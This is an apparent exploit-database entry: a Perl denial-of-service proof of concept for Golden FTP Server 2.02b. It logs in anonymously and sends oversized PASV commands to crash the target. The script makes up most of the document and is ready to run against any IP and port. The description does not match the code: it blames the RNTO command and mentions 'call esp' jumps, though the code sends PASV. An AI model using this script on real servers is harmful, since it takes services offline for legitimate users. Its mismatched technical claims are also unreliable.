Golden FTP Server 2.02b Denial Of Service Exploit

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Golden FTP Server 2.02b - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 21 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1AK6x0xKwjVZxoNHbCOIJsIiRAWeMmP_0/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Golden FTP Server 2.02b - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

print "[+] Connecting to $ip:$port\n";
my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$port\n";

$s->send("USER anon\r\n");
my $response = <$s>;
print $response;
$s->send("PASS anon\r\n");
$response = <$s>;
print $response;
$s->send("SYST\r\n");
$response = <$s>;
print $response;
sleep(2);
$s->send("PASV " . "\x41"x6631 . "\r\n");
sleep(3);
$response = <$s>;
print $response;
$response = <$s>;
print $response;
print ">>> Sending second payload\n";
$s->send("PASV " . "\x90"x123 . "\x90"x2877 . "\r\n");
$response = <$s>;
print $response;
sleep(2);


    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {

                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--; 
                  '   \     | ^
                       ^    ^

      [+] Golden FTP Server 2.02b - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }